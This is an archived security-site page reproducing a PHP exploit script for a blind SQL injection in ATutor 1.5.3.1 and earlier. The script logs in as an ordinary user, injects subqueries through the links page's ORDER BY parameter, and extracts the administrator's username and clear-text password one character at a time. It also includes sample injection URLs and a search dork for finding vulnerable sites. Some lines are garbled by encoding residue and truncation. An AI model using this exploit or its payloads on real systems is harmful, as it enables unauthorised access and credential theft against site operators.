Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: b06-3944.htm

ATutor <= 1.5.3.1 'links' blind SQL injection / admin credentials disclosure



ATutor <= 1.5.3.1 'links' blind SQL injection / admin credentials disclosure
ATutor <= 1.5.3.1 'links' blind SQL injection / admin credentials disclosure



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\n";=0D 
echo "site: http://retrogod.altervista.org\n";=0D 
echo "dork, version specific: \"Web site engine's code is copyright\"  \"2001-2006 ATutor\" \"About ATutor\"\n\n";=0D
=0D
/*=0D
- works regardless of php.ini settings=0D
- with Mysql >= 4.1 (allowing SELECT subqueries for ORDER BY statements)=0D
see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html=0D 
- with at least 2 links in at_links table=0D
*/=0D
=0D
if ($argc<5) {=0D
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";=0D
echo "host:      target server (ip/hostname)\r\n";=0D
echo "path:      path to ATutor\r\n";=0D
echo "user/pass: you need a valid simple user account\r\n";=0D
echo "Options:\r\n";=0D
echo "   -T[prefix]   specify a table prefix different from default (at_)\r\n";=0D
echo "   -p[port]:    specify a port other than 80\r\n";=0D
echo "   -P[ip:port]: specify a proxy\r\n";=0D
echo "Example:\r\n";=0D
echo "php ".$argv[0]." localhost /atutor/ username password\r\n";=0D
echo "php ".$argv[0]." localhost /atutor/ username password -Tatutor_\r\n";=0D
die;=0D
}=0D
/*=0D
software site: http://www.atutor.ca/=0D 
=0D
vulnerable code in /links/index.php at lines 92-100=0D
...=0D
//get links=0D
$groups = implode(',', $_SESSION['groups']);=0D
=0D
if (!empty($groups)) {=0D
	$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE ((owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") OR (owner_id IN ($groups) AND owner_type=".LINK_CAT_GROUP.")) AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";=0D
} else {=0D
	$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE (owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";=0D
}=0D
$result = mysql_query($sql, $db);=0D
...=0D
=0D
with MySQL >= 4.1 you can inject a subquery after the ORDER BY statement, ex:=0D
=0D
http://[target]/[path_to_atutor]/links/index.php?desc=(SELECT(IF((ASCII(SUBSTRING(password,1,1))=101),LinkName,Description))FROM%20at_admins)%20DESC%20LIMIT%202/*=0D 
http://[target]/[path_to_atutor]/links/index.php?asc=(SELECT(IF((ASCII(SUBSTRING(login,1,1))=102),LinkName,Description))FROM%20at_admins)%20DESC%20LIMIT%202/*=0D 
=0D
query becomes like this:=0D
=0D
SELECT * FROM AT_links L INNER JOIN AT_links_categories C USING (cat_id) WHERE (owner_id=1 AND owner_type=1) AND L.Approved=1 AND 1 AND 1 ORDER BY (SELECT(IF((ASCII(SUBSTRING(login,1,1))=101),LinkName,Description))FROM at_admins) DESC LIMIT 2/* desc=0D
=0D
so you can ask true/false questions to the database about the admin username/clear text password=0D
you will see results in the way links are ordered at screen=0D
You need at least two rows in at_links table=0D
Other queries may be vulnerable to this kind of injection, since ORDER BY statements=0D
are not checked at all...=0D
This may hide undisclosed vulnerabilities in a lot of apps, I suppose...=0D
					                                      */=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
	$c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
	}=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$port=80;=0D
$user=$argv[3];=0D
$pass=$argv[4];=0D
$prefix="at_";=0D
$proxy="";=0D
for ($i=3; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
if ($temp=="-T")=0D
{=0D
  $prefix=str_replace("-T","",$argv[$i]);=0D
}=0D
}=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
$packet ="GET ".$p."login.php HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
$temp=explode("Set-Cookie: ",$html);=0D
$cookie="";=0D
for ($i=1; $i ".$what."\r\n";=0D
=0D
$data ="form_login_action=true";=0D
$data.="&form_course_id=0";=0D
$data.="&form_password_hidden=".sha1($pass.$what);=0D
$data.="&form_login=".$user;=0D
$data.="&form_password=";=0D
$data.="&submit=Login";=0D
$packet ="POST ".$p."login.php HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Accept: text/plain\r\n";=0D
$packet.="Connection: Close\r\n";=0D
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
$packet.="Cookie: ".$cookie."\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
$temp=explode("Set-Cookie: ",$html);=0D
$cookie="";=0D
for ($i=1; $i ".$cookie."\r\n";=0D
=0D
$j=1;=0D
$my_password="";=0D
while (!strstr($my_password,chr(0)))=0D
{=0D
for ($i=0; $i<=255; $i++)=0D
{=0D
$sql="(SELECT(IF((ASCII(SUBSTRING(password,$j,1))=".$i."),LinkName,Description))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";=0D
echo "sql -> ".$sql."\r\n";=0D
$sql=urlencode($sql);=0D
$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Cookie: ".$cookie."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
$temp=explode(" ".$my_check."\r\n";=0D
if ($my_check=="m1") {$my_password.=chr($i);echo "password -> ".$my_password."[???]\r\n";sleep(2);break;}=0D
elseif ($my_check=="m2") {continue;}=0D
elseif ($my_check=="") {die("Exploit failed, maybe wrong table prefix or simply failed to login...");}=0D
if ($i==255) {die("Exploit failed...");}=0D
}=0D
$j++;=0D
}=0D
=0D
$j=1;=0D
$my_admin="";=0D
while (!strstr($my_admin,chr(0)))=0D
{=0D
for ($i=0; $i<=255; $i++)=0D
{=0D
$sql="(SELECT(IF((ASCII(SUBSTRING(login,$j,1))=".$i."),LinkName,Description))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";=0D
echo "sql -> ".$sql."\r\n";=0D
$sql=urlencode($sql);=0D
$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Cookie: ".$cookie."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
$temp=explode(" ".$my_check."\r\n";=0D
if ($my_check=="m1") {$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]\r\n";sleep(2);break;}=0D
elseif ($my_check=="m2") {continue;}=0D
if ($i==255) {die("Exploit failed...");}=0D
}=0D
$j++;=0D
}=0D
echo "----------------------------------------------------------\n";=0D
echo "admin                 -> ".$my_admin."\n";=0D
echo "password (clear text) -> ".$my_password."\n";=0D
echo "----------------------------------------------------------\n";=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/atutor_1531_sql.html=0D 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH